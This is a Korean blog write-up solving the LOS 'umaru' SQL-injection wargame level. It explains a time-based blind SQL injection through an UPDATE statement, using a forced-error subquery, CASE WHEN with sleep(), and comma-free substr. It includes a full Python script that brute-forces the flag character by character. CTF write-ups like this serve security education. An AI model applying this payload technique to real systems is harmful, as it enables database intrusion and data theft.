앞선 문제와 달리 상당한 길이여서 혼란스러운 문제이지만 간단하게 동작하는 내용은

  ⓐ flag의 값을 필터링

  ⓑ 현재 로그인 session을 가지고 flag를 가져옴

  ⓒ 임시 테이블을 생성하고 원래 테이블의 자신의 session에 대한 내용을 그대로 옮김

  ⓓ 임시 테이블에 flag 값을 update

  ⓔ 임시 테이블의 flag 값을 가져옴

  ⓕ session에 대한 flag값이 없거나, 원래 테이블의 flag값과 입력한 flag 값이 다르면 flag reset ( reset_flag()함수를 통해서 )

  ⓖ 원래 테이블의 flag값과 입력한 flag값이 동일하면 문제 해결

로 구문을 해석 할 수 있습니다.


여기서 중요한 사항은 우리가 공격할 수 있는 injection point는 update구문 뿐이며 올바른 값을 입력하지 않으면 매번 값이 바뀐다는 것입니다.



아무거나 입력하면 아래와 같이 "reset ok"라고 나오면서 flag값이 변하기 때문에 주의해야 합니다.


생각해 볼 수 있는 사항

  ① 정확한 flag값을 알아야 하기 때문에 blind sql injection을 해야 함

  ② 값을 조작할 만한 곳은 Update문 뿐

  ③ Update문이 실행이 되면 reset이 됨

  ④ flag는 16자리 (substr로 나눔)


blind sql injection을 통해 update문을 injection 하면 되는 문제입니다.

하지만 어떠한 정보도 내주지 않고 있고, error도 나오지 않으니 Time-base blind sql injectioin으로 문제를 해결해야 합니다.

그리고 update문이 실행이 되지 않게 하기 위해서 (select 1 union select 2)를 통해 error를 발생 시켜야 합니다.


time-base로 하려면 sleep()을 이용해서 몇 초간 응답에 따라서 참/거짓을 알 수 있습니다.

참/거짓을 구분하기 위한 조건문이 필요한데 if문은 ','가 필요해서 case when으로 대체 할 수 있었습니다

substr에도 ','가 필요하지만 flag from 1 for 1을 하면 첫번째 문자를 가져오게 됩니다..



알아낸 정보를 가지고 Python code를 작성하면 아래와 같습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time
 
cookies= {'PHPSESSID':'YourCookieValue'}
url = 'https://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?'
index_list = range(48,58)+range(97,123) # 0~1, a~z
 
password = ''
 
for i in range(1,17):
    for j in index_list:
        query = "flag=(select 1 union select 2) or case when substr(flag from {0} for 1)='{1}' then sleep(2) end".format(i,chr(j))
        payload = url+query
        print (payload)
 
        time1 = time.time()
        res = requests.get(payload, cookies=cookies)
        time2 = time.time()
 
        if(time2-time1>2):
            password += chr(j)
            break
print("password : "+password)
cs



[참고]

case when: http://www.gurubee.net/lecture/1028

HINT: 

http://security04.tistory.com/170

http://rls1004.tistory.com/33

'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] dark_eyes  (0) 2018.10.12
[LOS] iron_golem  (1) 2018.10.11
[LOS] dragon  (0) 2018.10.10
[LOS] xavis  (0) 2018.10.10
[LOS] nigthmare  (0) 2018.10.08

+ Recent posts